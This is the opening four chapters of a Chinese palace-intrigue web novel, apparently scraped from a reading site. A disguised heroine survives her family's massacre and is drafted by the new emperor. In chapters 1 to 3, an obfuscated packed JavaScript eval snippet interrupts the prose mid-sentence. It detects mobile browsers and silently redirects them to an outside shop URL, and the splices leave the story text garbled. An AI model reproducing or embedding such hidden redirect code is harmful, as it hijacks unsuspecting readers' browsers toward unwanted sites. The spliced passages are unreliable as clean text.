《罄竹》 1. 第一章 盛京的夜色被火把划亮。 守门的侍卫才看见光亮,就已经被抹了脖子,连声音都未来得及发出。温热鲜红的血,顺着脖颈处的刀口汩汩流出,很快淌了一地。 一双皂靴踏到血泊上,鞋底瞬间被洇成鲜红色:“将府邸围住,连一只蚊子,都不许放出去。” 低沉的声音在火把的噼啪声中响起。赤色的火焰将他身上的紫服照得发亮。他站在府门前,将手上的剑抵在地上,双手交叠,微抬起眼皮,看着横梁上的牌匾。 先帝亲笔御赐,烫金的太师府三个字,笔力劲险。 下属会看眼色,先一步上前敲门。 “谁啊?”里头的人丝毫不觉危险临近,美梦被扰,多有不耐,睡眼惺忪地过来开门。 他手指轻点,淡声下令道:“格杀勿论。” “是。”回应的声音响起的同时,朱红的大门已经被用蛮力推开了,一把泛着寒光的利刃顺着门缝递进去。再抽出来时,已然滴着血。 身后严阵以待的侍卫纷纷抽出身侧的佩剑往里冲。 ——柳慈,为什么都是男孩子,你尿尿有那个,我却没有? ——你……你怎么能看人出恭,非礼勿视,有失体统,你父亲未曾教过你吗! “公子,南衙的人杀进来了!” “公子!” 拍门声起,稚嫩的声音消失,外头的声音渐重,周筠从梦中惊起,猛地睁开眼睛,因着心绪不稳,胸口上下起伏着。眼前昏暗,仔细看是熟悉的青色远山帐帘,意识渐渐清明起来,耳边充斥着外头嘈杂的声音。人的喊叫,刀剑铮鸣和脚步声乱作一团。 周筠心突突突地跳得极快,翻身而起,捡了架子上的外袍穿上,顺手拿上了佩剑。 打开门,侍女咏月正慌乱地站在门前,披着外衫,一只脚光着,踩在地上。眼睛里还噙着泪,似乎吓得不轻。 院子的火光大盛,亮如白昼。周筠扫了一眼,杀进院子里的人,袖口的位置绣着蝎纹,南衙侍卫的标志。刺鼻冲天的血腥味顺着打开的门缝往房里钻。 虽然不知道发生了什么,但看这架势,他们这群人,今夜非屠了太师府不可。南衙的人敢连夜杀进太师府,肯定是上头的授意。只是周筠没想到,今夜会来得这样快,没有一点预兆。 “公子,你快走吧!”咏月有些急迫地看了一眼院子里厮杀在一起的侍卫,看向周筠。 周筠捏紧了手上的剑,将门拉开,沉声道:“走不了了,找个地方躲好。” 她对陆时化多少有点了解,他这人,向来谨慎,他既然已经命人杀进了太师府,那么府外,定然已经设了周密的布防。 她一边说着,一边将剑抽出来,割下一段袍角,抬手,将散乱的发高高束起。几步走到院子里,抬手挡下一剑,同时轻轻一斜,剑锋就划过了对方的脖颈。温热的血从脖颈处喷薄而出,溅到周筠的脸上,周筠微微眨了眨眼睛,眼睫上的血珠顺着往下落,像是一滴血泪。身上月白竹纹外袍,瞬间被染上了大片刺目的鲜红色。 “取周筠首级者,赏金万两,加官进爵。”人群中,不知道谁说了这么一句,导致冲进院子里的南衙侍卫的目光,纷纷落在了周筠身上。人人都想出人头地,金银权势,有了这些,就能出人头地。都是卖命,倒不如放手一搏。 越来越多的剑锋朝着周筠刺过来,越来越多的尸体倒在了周筠的面前。 一把剑直指过来,周筠轻巧地避开,反手将剑刺入他的心脏,她并未直接抽出,而是转了一下剑柄。面前的人,反应不及,眉头紧皱,面露苦痛之色。鲜血从嘴里涌出来,周筠嫌恶地抬脚,踩着他的身体,借力将剑拔出来。血在空中划成一道弧线,落在青石板上。 周围的人见状,纷纷迟疑了。 周筠拿着剑,喘着气,陆时化带的人,都是精兵,且数量之众。她的院子尚且如此,想来,周潇的院子,应是有过之而无不及。思及此,周筠微微抬眼,看了一眼北边周潇的院子。火光乍起,随之而起的,是滚滚浓烟。 “走水了!走水了!”下人的呼和声接连响起。 她眉目轻敛,虽然知道会是什么结果,但真正到了这一刻,心里还是有一种难以言喻的酸涩。眼眶也被烟熏得有些红了。 那些人见周筠吃力,拿着剑,一起往上冲。周筠回过神来,举剑应对,但终究是寡不敌众。且方才才杀了好些人,确实,有些力不从心了。身上被划伤了好些,温热的血从衣衫里透出来,同旁人的血混在一块。 “公子小心!”咏月尖厉的声音响起,周筠偏头看过去的时候,她的身体,已经被剑刺穿了。 “咏月!”周筠叫了一声,抬剑将对面的人杀了。他们两个人就这样直直地倒了下去,倒在了其他尸身之上。 周筠无暇分身,只低眉看了一眼咏月。小姑娘年岁小,才来府里不久,性子活泼。她倒在另外一具尸身上,目光亦落在周筠的身上。渐渐地,她的目光变得涣散,只映衬出周筠身后的火光。 陆时化进来看见的,就是这样的场景。 院子里的人,近乎都已经死了,除了,周筠。少年的身形,其实偏瘦一些。身上脸上尽是鲜红刺目的血,他持剑站着,身后,是连天的火光和滚滚浓烟。 她面前的尸身,堆积成山。 他自然知道周筠,周潇外室私生的儿子,因着正夫人一直无所出,家中小妾生的都是女儿。所以才在他八岁的时候接回了太师府。长得清俊,大抵因为娘亲是盛京最负盛名的花魁,他的面庞比女子的还要精巧几分,一双柳叶眼,细长而妩媚,雌雄难辨。陆时化不止一次听朝中人私下里说起过,周筠若是女子,容貌也算是一等一的。不止容貌,武功才学,皆是拔尖。 “周筠,你父亲周潇已经伏法,你还不束手就擒吗?”陆时化笑着开口道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381845|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伏法?”周筠心里钝痛了一下,薄唇轻启,“不知我父亲他犯了大燕哪条律法,需要陆太尉连夜屠了太师府?” “哪条,想必你自己心里也清楚,若要细数,何止一条?” 听见这话,她微微抬起眼皮,看向陆时化,冷冷一笑:“现在,我还有得选吗?” 彼时她身后火光冲天,满身血渍的少年站在火前。风吹起他满是鲜血的衣袍,一双眼睛,通红狷狂又深邃,细看甚至还有几分嘲讽、戏谑。鲜血染红了他的唇,在火光下,动人心魄。 陆时化看着,心里有几分不悦。他定了定心神,握紧了身侧的佩剑。 陆时化出剑很快,周筠抬手,挡下他的剑。手轻轻颤着。陆时化定睛,看着周筠微微发颤的手,勾唇道:“左右都是死,何必呢?” 周筠并未应声,一咬牙,将陆时化的剑压下三分。陆时化神色一凛,随即变得严肃起来。 周围围着一圈他的下属,周筠方才杀了这么多人体力不及。若是此时,还败给他。传出去,属实不好听。 陆时化出剑又急又快,似乎很想尽快结束。周筠渐渐败下阵来。陆时化看着他,脸上的神情渐渐得意:“我方才同你父亲戏说,若是能从我胯/下过,我便放了你的宝贝儿子。没想到啊没想到,堂堂周太师,居然信了哈哈哈哈哈……” 话音未落,剑的锋刃从眼前划过,陆时化往后仰,剑尖点地,顺势而靠避开了,继而起身。 剑划破胳膊的那瞬间是没什么感觉的,但当周筠站定,滑腻温热的血顺着胳膊流下的时候,痛感渐渐地清晰起来。她微微偏头,眉眼微垂,瞟了一眼。这剑划得深,袖子被划开,能看见里头的血肉,她咬着牙,握紧了剑柄,喘着粗气抬眼向陆时化。 她知道今晚是走不出这太师府了,所以对于这个伤口,她也并未放在心上。但陆时化,今夜一定要死在她的剑下。 这样想着,周筠握紧了手中的剑。目光定定地落在陆时化的身上。身后的火似乎越发大了,就连后背,都能感受到一阵阵灼热。周筠蓄着全身的力气,看准时机出剑。 陆时化躲开了,但他没想到,刚刚过的那两招,周筠似乎已经清楚了他的门路,微微一偏身,剑尖只指脖颈。那瞬间,他的脑子一片空白。都还未来得及躲避,耳边“咻”地一声。 她微微低头看着扎进自己的左侧肩头的箭羽,因为箭的惯力,整个人被带着往后退了两步。陆时化见状,猛地踹了她一脚。胸口骤然疼痛万分,手上的剑,掉在了地上,发出哐当的声响。 喉头有一股腥甜之气上涌,感觉有些呼吸不过来。视野也变得模糊起来,身后似乎越来越热了。她猛地咳了一下,鲜血喷涌出来,全身无力感渐盛,视野之内,尽是鲜红。 “周潇之子,也不过如此……” 她不知道自己是什么时候倒下的,最后耳边只剩下火焰燃烧的噼啪声和自己的粗喘声。 2. 第二章 “滴答……” 耳边的滴水声朦朦胧胧的,周筠只觉得眼皮很重,挣扎着动了一下手,铁链哗啦晃动的声音响起,全身上下的痛楚似乎被这个动作慢慢释放出来。眼前的景象渐渐清晰,刺眼的光让她本能地偏了偏头,大抵牵扯到了伤处,让她忍不住皱了眉头。 “醒了?”耳边有个陌生的男声响起,“头儿,他醒了!” 昏暗的地牢,旁边挂着一盆火,正烧得旺。身下是冰冷的水,一直到腰,双手双脚都被铁链缠着动弹不得。这个地方,周筠有印象,皇宫水牢,之前,他同周潇来过。她看着旁边窜动的火焰,有一瞬间的恍惚,脑海里不自觉浮现起还在太师府时的场景,她以为,她已经死了。 “嚷嚷什么!”另外一道较为沉的男声响起。 周筠循声看过去,一个稍年长的狱卒从一旁伸着懒腰走出来。目光在周筠身上停留了片刻。只片刻,他便别过了头。 水牢里没有日夜,只有不停跃动的火苗。没有人靠近,有的只是短暂的经过。耳边除了火苗跳动的噼啪声和滴水的声音外,再无其他声息。疼痛、孤寂和寒凉恶臭的腐尸水包裹着她,夜以继日,仿佛没有尽头。 渐渐的,她的意识开始涣散起来。 终于有人发现了她的不对劲。 “还不快叫人去!”他偏头呵道。 “是是是!”小狱卒点头哈腰往外跑。 周筠并不关心他们要去通知谁,只是感觉自己可能快解脱了。进了这种地方,死罪难免,活罪难逃,想要有全尸都难。若是这时候去了,也好。 正这样想着,一盆水迎面浇到脸上,她止不住一个激灵,全身颤抖了一下。 不知过了多久,窄道上响起一阵脚步声,周筠勉强抬眼,魏一宁正站在牢房外。依旧一身品蓝,在暗夜里,颜色倒是鲜亮。 “周公子,许久不见。” 不知他是何意图,周筠轻喘着气,并未应声。几个人朝着她走近,动手解开她手上的锁链。每动一下,肩颈和手臂的伤处便被牵扯疼痛几分。她忍不住咬紧牙,双脚已经麻木不堪,铁锁解开的瞬间,整个身子支撑不住跌坐到水中。伤处彻底被撕扯开,鲜红的血融进水中,倏忽就消散不见了。 她被人架起来,拖着到了牢房外。 魏一宁见周筠出来,上下打量了一番,眼里的神色晦暗不清,低声嘱道:“手脚都轻着些!” “是。” 他们给她戴上了一顶斗笠面纱,接着架着她往外走,一路行至牢房外,乍地呼吸到新鲜干净的空气,周筠还有些不适应。身上的水滴滴答答,裹胸的布条浸满了水,压得有些喘不上气来。 从前心惊胆战的事,此时,倒也是无所谓了。将近入夏的天气,傍晚正是凉爽的时候。 正阳殿正在修葺,先皇丧期未满,到处挂着白绸,此番境况,新帝登基,改朝换代,才两日未到,便同从前大不一样了。 马车摇摇晃晃,颠簸得厉害,仿佛走不到头。 “魏公公。”小太监见着魏一宁打了一声招呼,接着低声道,“众大人此时正在殿内。” 魏一宁了然,摆了摆手,让他退下。周筠听见这话,垂下眼眸。 “吱呀。”门被打开,周筠微微抬眼,几位大人正从正殿出来。柳慈也在其中,身着绯服艳丽白鹇纹饰精巧,神情淡然,一如往常。 当他的目光触及地上的人时,有一瞬间的讶然。 魏一宁笑着上前低声同几位大人行礼打招呼。 “魏公公。”柳慈应声,声音清朗,目光却有意无意地落在周筠身上。当然,众人的目光,也都落在她身上。在看见那人腰间的香囊时,柳慈的瞳仁猛地一缩,心也不自觉地跳快了好些。 她被侍卫拖架着,戴着面纱,看不出来是谁,似乎才从水牢里出来,下半身还滴沥着污水。肩头的伤处渗着血,鲜红的,滴落在白色大理石板上,很是刺目。 周筠垂眸,这种时候,真的还不如给她一剑来得痛快。她虽然低着头,但余光一直落在他的足靴之上。一直到那声音消失,周筠才暗暗松了一口气。 “请吧,周公子。”魏一宁开口,语气并非嘲讽。在这宫里的时间久了,拜高踩低,是最要不得的。只要人还有一口气,一切起伏,皆未定。更何况如今正殿里头的人,还是单独召见。 行至殿门前,魏一宁朝后摆了摆手,低声试探道:“陛下,人带来了。” 过了好一会儿,才听见里头声音响起:“进。” 声音响起复而落下,外头的人动作利落,不消片刻,周筠已经进了殿内。龙涎香的味道弥漫着整个屋子,冲散了她身上的血腥味。 屋里没有什么声音,带着她进去的人将她放下,拿了斗笠,便安静地退了出去。 她腿脚无力,半身微抬,伏跪于地。她并不打算行礼,就如同陆时化说的,左右横竖都是死,有些规矩,现在也不必守着。 脚步声响起,玄色的袍角出现在视野之中,随之出现的,是金线绣的龙尾。 “啪。”东西被丢到地上发出声响,周筠看过去,一张散开的折子,依稀能看见上头的字。 太师周潇全府,葬身火海。 周筠顾不得身上的伤,伸手去拨平折子,才看清前头的字。 宝宁元年四月廿三丑时三刻,太师府不慎走水,火势渐大,臣等救护不及,太师周潇全府,葬身火海,无一幸免。陛下嘱臣护卫盛京安宁,臣自知罪孽深重,有负圣恩,还望陛下恕罪。臣,自请辞官,还望陛下恩准。 她的手,略微颤抖起来,闭上眼睛,就是在府里的那些人,那些事。 “卫尉卿的罪己书,写得如何?”谢怀澈居高临下,轻声开口问道。 此时殿内并无旁人,他的声音本就沉,裹着龙涎香的味道,莫名有几分压迫之感。他似乎并没有想要周筠的回答,垂手提起袍上的龙尾,缓缓半蹲下,同周筠平视。冷白的皮肤,玄色暗沉的龙袍,愈发衬得他森冷。 此时的周筠,眼眶红得厉害,眼泪控制不住地往下落,她的下唇已经咬得发白。虽然早已经知道结果,但她没想到,自己还能活着。 怒目而视,这还是谢怀澈头一回见周筠有这样情绪大恸的时候。太师周潇唯一的儿子,承得向来是天下最好的东西。他的眼神,从来是淡淡的餍足和厌倦。 谢怀澈突然笑了,正殿回荡着他的轻笑声。周筠视线所及,年轻的新帝轻仰头,眸子深邃漆黑晦暗不明,但眉间尽是掩不住的愉悦,肩头随着他的动作耸动着。 “你如此耐不住性子,就不怕史书难撰吗?”周筠哑声开口,声音带着明显的怒意。 南衙的人光明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381846|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正大的灭门,周潇在朝中也算是手眼通天,即便如此,还是一点消息都没得到。仅凭着太师府的防卫,根本不足以同南衙有备而来的大量精锐相抗。只有一种可能,那就是龙椅之上的人在操控。 谢怀澈对上她的眼睛,眼神淡漠又无辜:“要你全家性命的,可不是朕。” 他说着,复而起身,拿起紫檀木桌上的圣旨,提着一端,另一端顺着滚落下去,在她面前展开。 “先帝遗诏。”谢怀澈转过身,将圣旨置于周筠的面前晃了晃,“周潇不死,实在难以向文武百官交代。” “为什么?”周筠开口。 “为什么?”谢怀澈反问,嘴角带着讥讽,“父皇这是为三弟扫清障碍呢!” “那为何只留我一个!”周筠沉默了一会儿,盯着圣旨上的九族两字,语气带着几分迫切地反问,现下的一切,让她厌恶,愤恨,还不如让她死了。 “你若死了,可惜了。”谢怀澈应声。 “你不是想杀陆时化吗?朕,给你这个机会。” 周筠看向谢怀澈,眼里尽是绝望和不解。 谢怀澈将手上的圣旨随意折回桌上,接着又半蹲至周筠面前。他仔细端详着,他的脸,即便脏了,可还是漂亮。他头一回见周筠时,便觉得那张脸,生在一个男子身上,有些可惜了。 “朝堂现如今沉疴已久,积重难返。朕,需要一把刀,一把尖刀。” “你可愿意?” 周筠沉思片刻,对上谢怀澈的眼睛,她想看看他的眼睛里,到底是什么情绪。可惜,什么都看不出来,平静得没有丝毫波澜。 “不急,朕,给你一刻钟。” 周潇在朝中多年,党羽众多,如今猝然离世,她留下,一是为了试探,二应当是要看看还有哪些人能留。她不能死,但若是拒绝谢怀澈,也不会活得太舒意。她蓦然想到了在水牢的日夜。 “我不死,你又如何同文武百官交代?”周筠咬着牙,反问道。 谢怀澈笑了:“朕,提拔太常寺少卿周毅之子周罄竹,需要向文武百官交代什么?” 原是早就安排好了,周筠扯出一抹苦笑:“你想要我做什么?” “南衙权势滔天,朝中,已无人相抗,朕会封你为北司指挥使。” 如此一来,那一切都说得通了,周家九族是陆时化带着南衙的人来灭的。他若是想找人相抗,放眼朝野,还当真是没人比她更合适了。 从正阳殿被人架着出来,龙涎香的味道散了大半。身上还湿着,紧束感和寒凉之意从脚边慢慢攀爬上来,悲怆之感,如同潮水,席卷而来。 “周大人,奴才已经着人去请太医了,还请大人稍候。”魏一宁盯着周筠肩头还在渗血的伤口出声道。 才一会儿便改了称呼,当真是快。周筠粗喘着气抬眼,看向远处的宫墙。暮色将临,钟声响起。 “过一会儿,宫门应当就下钥了吧。”她开口,声音低哑。 “是。”魏一宁顺着他的目光看过去。小太监正提着烛火点宫灯,一盏盏宫灯缓缓亮起。 “不必请太医了,拿一些伤药给我,带我出宫吧。” “这……”魏一宁听了周筠的话面露难色。 “大人受了伤,陛下已经让人出宫同周毅大人说了,暂先留在宫中养伤。”魏一宁低声道。 3. 第三章 “周大人,东西,都在这了。”几个宫女进门,将东西放在桌上。旁边热水氤氲着的雾气袅袅升腾。 “嗯。”周筠应声,看了一眼桌上的红裳,喉头一紧,开口道,“可有白衣?” 为首的宫女面上露出一抹难色:“大人身份,现下着白衣,恐不合时宜。” 周筠了然,摆了摆手。她们微微躬身退下。她起身将门锁好之后才敢将衣衫褪下。伤处已经连同衣物黏连在一块了,周筠慢慢地一点一点撕开,疼痛不断刺激着神经,没一会儿,额头已经布满了汗珠。 她没吭声,将衣服脱了之后擦洗干净,咬着一块棉纱,又拿了一块浸白酒。按上伤处时,疼痛到麻木的感觉,让她浑身止不住地颤抖。她蓦然想到了从前,周潇同许雾怕她身份被人知晓,习武之后落下伤,从来也都是自己弄的。可没有一次,同这回一般深痛。 她颤抖着,额角的汗珠顺着她的动作往下落,落在红木桌上,“啪嗒”一声,微不可闻。她的眼泪,此刻,再也抑制不住,连同喉咙里的呜咽一起往外涌。尽数涌到了咬着的棉纱上。 所幸肩头的箭伤并不深,最深的,是手臂陆时化留下的伤口。弄干净的时候夜已深了,勉强撑着穿衣,才发觉不对。皇宫不是府邸,没有束胸。 她微微转过身,看向了她换下来的束胸。将束胸洗干净拧干,迟疑了片刻,抬手将湿润的束胸重新裹上了。熟悉的紧束感堆到心头,压着她,一时间甚至有些呼吸不过来。 随意捡了一些桌上的点心就着茶水吞了,撑着到榻上。左手手臂那伤口深,加上还有身上大大小小的伤,有段时日不方便。不过活着总比死了好,谢怀澈是给她瞧了圣旨,圣旨不假,可将她性命留住给她取名罄竹还给她穿红衣辱她,他也并非无辜。 谢怀澈的意思,周筠很明白,无非就是想告诉她。他现在是她的主子,掌握着她的生死,要她低头罢了。 她的意识渐渐涣散又逐渐清明,周围熊熊燃烧的火,将她困在尸山火海之中。鼻尖满是滚滚呛人的浓烟,跃动灼热的火焰逐渐逼近,映出周潇还有太师府众人的脸。她想开口,却觉喉间干涩,仿若刀割。 “父亲……”她叫着周潇,伸手去碰,下一秒他就消散在了火焰之中。紧接着咏月和府里众人也全都化成了灰烬消散不见了。 画面一转,雨声淅淅沥沥,周围漆黑一片,只一盏灯笼亮着。这个地方,她再熟悉不过了。她走到灯笼下。朱漆门,上头被她小时候用石子划开的划痕还在。她颤着手将门推开,许雾就坐在正堂,穿着她最喜欢的一身青绿色衣衫。她还没来得及开口,就见她七窍流血,昳丽的面庞变得青紫,看着狰狞万分。 “阿娘!” 她惊醒过来,眼角的泪滑进耳廓,一片湿热。看着帐顶,神情恍惚。周身痛得厉害,不止痛,还甚是黏腻滚烫。 “大人醒了。”陌生的声音在耳畔响起,周筠微微偏头,一个年轻的男人抱剑站在床榻边,神色似乎有些难言。 她心下一惊,低眉看了一眼自己身上。衣裳没动过,被子也盖着。只不过因为身上滚烫,出了一身的汗,现下黏腻不堪。身上的伤许是因为她醒了,疼痛开始蔓延。 “你……”周筠开口,喉咙生涩如刀割,她缓了一下,“你是谁?” “属下兰生,奉命随侍。”嘴上说的奉命随侍,可手抱着剑,一动不动。 “怎么进来的?” “敲门敲了半晌,没人应,便想着进来瞧瞧大人死了没。” 听见这话,周筠眼神一凛,语气轻淡,丝毫不将她放在眼中。不过也是,她如今是罪臣之子,没有周潇庇护,谁都能踩上一脚。 “你现在看到了。”她开口,声音还有些虚弱,语气却是生硬的。 “既然大人无事,那小的就先告退了。”他勾唇应声,转身离去。 周筠看着他的背影,突觉心口有一股气,连着浑身的滚烫无处宣泄。 但是待他走后没一会儿,门前响起一阵动静。 “大人可是身上不适?”宫女的声音透进来,周筠先是一愣,接着哑声应道,“进来吧。” 门被推开,宫女还未走到床榻边,周筠就已经开始吩咐了:“替我弄一身干净的衣裳,再去太医院抓一些退热消炎的药还有金疮药来。” “是。”宫女复而应声退下。 —— 雷声大作,暴雨如注。服药有好几天了,身上是好些了,可还是没什么力气。别的伤处还好,左手手臂被陆时化砍伤的最深的伤处看着似乎有溃烂的迹象。 这两日都是她自己在换药,旁边有一些腐肉,得将那些腐肉剜去新的肉才会长出来。伤处深,看来,不得不去找太医了。 “不如奴婢去请太医过来吧?” 周筠摇了摇头,这种时候,估计没有哪个太医愿意到她这里来。 “这么大的雨,大人不如歇一歇再去?” 周筠站在檐下看着连成线的雨幕摇了摇头:“这伤要弄许久,去晚了,宫门就要下钥了。” “那奴婢跟大人一块去。”宫女说着,就要撑开手里的油纸伞。 周筠伸手:“不必。” 那宫女抿了抿唇,将伞柄递到周筠手上。周筠撑着伞走到雨中。鲜红的衣摆瞬间变暗了好些。雨珠噼里啪啦地在她脚边炸开,星星点点地映在衣摆之上。他的腰间,还挂了佩剑和一葫芦的酒,她有些不明白,他明明是去太医院,带佩剑和酒去做什么。 一路缓缓走到太医院,因着路远,鞋袜已经湿透了,衣摆也变得厚重了不少。以至于踩在地上,鞋垫都是水乎乎的,印出一串脚印。 太医院的人先瞧见她时,皆是满脸惊惧,接着回头做自己手上的事,又或者同身旁的人低语着什么。因着下雨,晾晒着的药草都被收到了屋里。屋里处处弥漫着一股药草的香味。 她不管顾旁人,径直走到正堂中间,粗粗扫了一眼。在场之人,无人敢同她对视。 “今日是哪位大人当值?” “是……在下。”静默了一会儿之后,从后头走出来一位太医。 周筠看了他一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381847|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一身群青官服,比起太医院的其他太医来,实在算得上是年轻的。 “烦请为我诊治。”周筠低眉开口,右手不自觉地摸上了腰间的佩剑,握紧了剑柄。 “大人请随我来。”他的眼睛澄澈清明,应得干脆利落。 听见这话,周筠暗暗松了一口气,在众人的注视下跟着他走到内室。 他走到内室坐下,拿出脉枕,抬手示意对面的位子:“大人请坐,不知大人哪里不适?” 周筠将佩剑拿下,放在桌边,接着将宽大的袖子往上拉,她特意让宫女备了广袖的衣裳,这样就不必脱衣裳了。 季宴礼就瞧见他的手臂上包着的纱布,大抵因为动作,又渗出了鲜红的血。泛着血腥味同淡淡的腐味。 周筠将纱布慢慢揭开,季宴礼看着那伤处,有一瞬间的愣怔:“大人这伤,有几日了吧?” “是。”周筠一边应声,一边忍痛揭纱,“药喝了不少,伤处也日日换药,不知为何,还是如此这般。” 一块腐肉粘在纱布上被揭下,周筠痛得闷哼一下,停了声音,紧紧咬着牙。 “这伤处深,药换得不仔细,加之天气潮湿,便很容易溃烂。我去备一些东西,大人稍候。”季宴礼说着,便出去了。 才揭纱,周筠已满头是汗。虽说内室,但开着窗,外头的雨噼里啪啦的,声音听着很是热闹。偶有凉风透过窗棂缝隙吹过来,带着雨丝,有些许凉意倒是舒服不少。她将葫芦盖打开,咕嘟咕嘟猛灌了好些酒。 季宴礼回来的时候不仅拿着药箱,还端着一碗药。 周筠闻到了味道,看向季宴礼:“麻沸散?” “是。”季宴礼应声,闻到酒气,看了一眼葫芦,“大人喝酒了?” “嗯。”周筠应声。 季宴礼有些不明所以。 “麻沸散用来外敷。”周筠开口,已是做好了决定。季宴礼于她而言,始终是外人,若是喝了麻沸散神志不清,万一身份不小心被识破,可就麻烦了。 “这……去除腐肉,疼痛不堪,若是不服,我怕大人……难以忍受。”季宴礼迟疑道。 “无妨,给我一块棉纱就好。” 周筠咬着棉纱,将手摆到脉诊上,季宴礼打开了药箱,又将烛火摆到面前。锋利的小刀在烛火上灼烧得通红。季宴礼下刀之前,迟疑地开口:“大人……” 周筠咬着棉纱点点头,可到底还是低估了。季宴礼滚烫锋利的刀刮在伤处时,她咬着棉纱整个人都止不住地颤抖着。季宴礼看着她的动作,不敢再动。 “继续吧。”周筠咬着棉纱哼哼着。 兰生到太医院的时候,还没走到内室,便听得人呜咽的声音。听着疼痛不堪,像是地牢里听着受极刑的人才会发出的声音。越过屏风的遮挡,就看见周筠坐在桌前,一位太医正在烛火上烧着小刀。 鲜红的衣裳格外刺目,他见此场景,便立刻明白了在做什么。但即便明白了,脑子依旧一片空白。 他是不是疯了!平日上药也就罢了,剜腐肉竟也不服麻沸散。 4. 第四章 她从内室出来的时候,天已经暗了,大抵因着暴雨,天本就比平日里暗一些。 左手换药的地方季宴礼方才又给敷了一层麻沸散,虽然痛,但是比方才剜肉的时候好多了。雨势比方才大很多,她的里衣已经被汗浸透了。额角的碎发也都湿了。她微微弯腰,拿起架在旁边地上的伞。 忍痛抬起左手帮着撑开,才抬起伞面,就听见了旁边的动静,轻轻挪开,看见了兰生。 兰生手上依旧拿着剑,带着斗笠,斗笠的水痕很浅,有些阴干了。 周筠这会儿没什么力气,也不想搭理他,忍痛撑开伞便往雨里去。 兰生没想到他会什么都不问就走了,脸色有几分悻然。快走几步赶上他:“你就不问问我过来做什么?” “有事?”周筠走着,轻淡地开口,伞沿的雨汇聚而落。 天色在雨幕的遮挡下愈发暗了,他微微偏头看向周筠,脸色白得有些吓人,长发高束,大抵因为发热的缘故眼睛红得厉害,感觉像是薄胎的白瓷,一碰就会碎。 他敛了情绪,应道:“魏公公在厢房已经等候多时了。” 听见魏一宁,周筠眉心一跳:“什么事?” “听说好像是……”兰生一板一眼地应声,意识到什么,冷声道,“不清楚。” 周筠这才看了他一眼,前两日迷迷糊糊的,未曾看真切,如今他又靠得近。实实在在的一个毛头小子,看着年岁约莫十五六的样子。 “多大了?” “你多大了?”他反问,脸上的稚气尽显。 看着像是个毫无心计的纸老虎,不过,谢怀澈将他放到她身边,到底是真的毫无心计,还是装的,就不得而知了。 “我十八。”周筠平静地应声,声音还带着几分沙哑。 听见周筠应声,兰生一怔,他没想到他现下竟如此好说话。一时间沉默着没有应声,脑海里浮现的却是前几日去找他的时候在床榻边他惊醒唤的那一声阿娘。本以为他同她爹周潇一样是个十恶不赦难相与的公子哥。没想到方才去他身边伺候的宫女那儿一探,即便伤得这样重了,依旧每日自己换药。 得知他去了太医院,一时好奇,便也跟着去了。路上正巧碰着魏一宁要传消息,便想着一同带他过去,没想到看见他剜腐肉,一时间竟也忘了出声,一直待他弄好出来。 “十六。”兰生有些没好气地开口道。 周筠微微偏头看了他一眼,未再出声了。她倒是有些好奇,这个时候,谢怀澈让魏一宁过来作什么。 两个人一路走到厢房,厢房前,不见魏一宁,倒是候着一个小太监。小太监正焦急地左右走动着,听见动静,看向周筠和兰生,松了一口气躬身一礼:“见过周大人,兰大人。” “起身吧。”周筠应声时,又用余光瞥了一眼旁边,“魏公公呢?” “魏公公急着回御前,先行一步。”小太监一板一眼道,“陛下口谕,让周大人出宫。” “现下?”周筠声音拔高了一些。 “是。”小太监低眉,“大人可有什么东西要收拾?马车,已经宫门候着了。” “去哪儿?”周筠不自觉握紧了伞柄。 “您府上。”太监的声音穿过滴滴答答的雨声,周筠一怔,愣了半晌才回过神。小太监说的,是太常寺少卿周毅的府上。 “没什么东西,走吧。”周筠淡淡地应声,她来的时候就是孤身一人,衣裳也都是谢怀澈的。她的所有东西,都在太师府,被一把火烧了。 小太监应声,撑开手里的伞,在前头带路。周筠同兰生跟着。 走了一会儿,周筠渐渐发觉不对,这不是离宫门最近的路。她盯着前头小太监的背影,这个小太监,她确实在御前见过。 正想着,甫一抬眼,看见远处红红紫紫的一片人走过来,瞬间明白了几分。他是故意的,现下正是下值的时辰,让小太监带着她在众人面前露个脸。 “陛下今日下旨,要新立北司,这不摆明了要同南衙分权。” “是啊,不过在朝为官这么多年,从未听说过周家还有三公子?” “听闻是外室生养的,近来才相认……”声音到这,明显低了下去。 “父子兄弟不可同朝为官,这周毅家的两个儿子都还在府州,一个外室养的,竟封了朝官!且此前,从未听过这小子的名字!” “是啊,这从未上过朝堂的毛头小子,还是从四品,都越到咱们前面去了,虽说是武官,可见到还要同他行礼,面子上岂不是……” “看来,明日得上道折子。” “上折子有什么用,今日御史台的孙大人当着陛下的面提了此事,被驳斥了的事,你又不是不知……” “对面不知是哪位大人,怎么像是从内庭出来的?”人群中不知谁出声道。 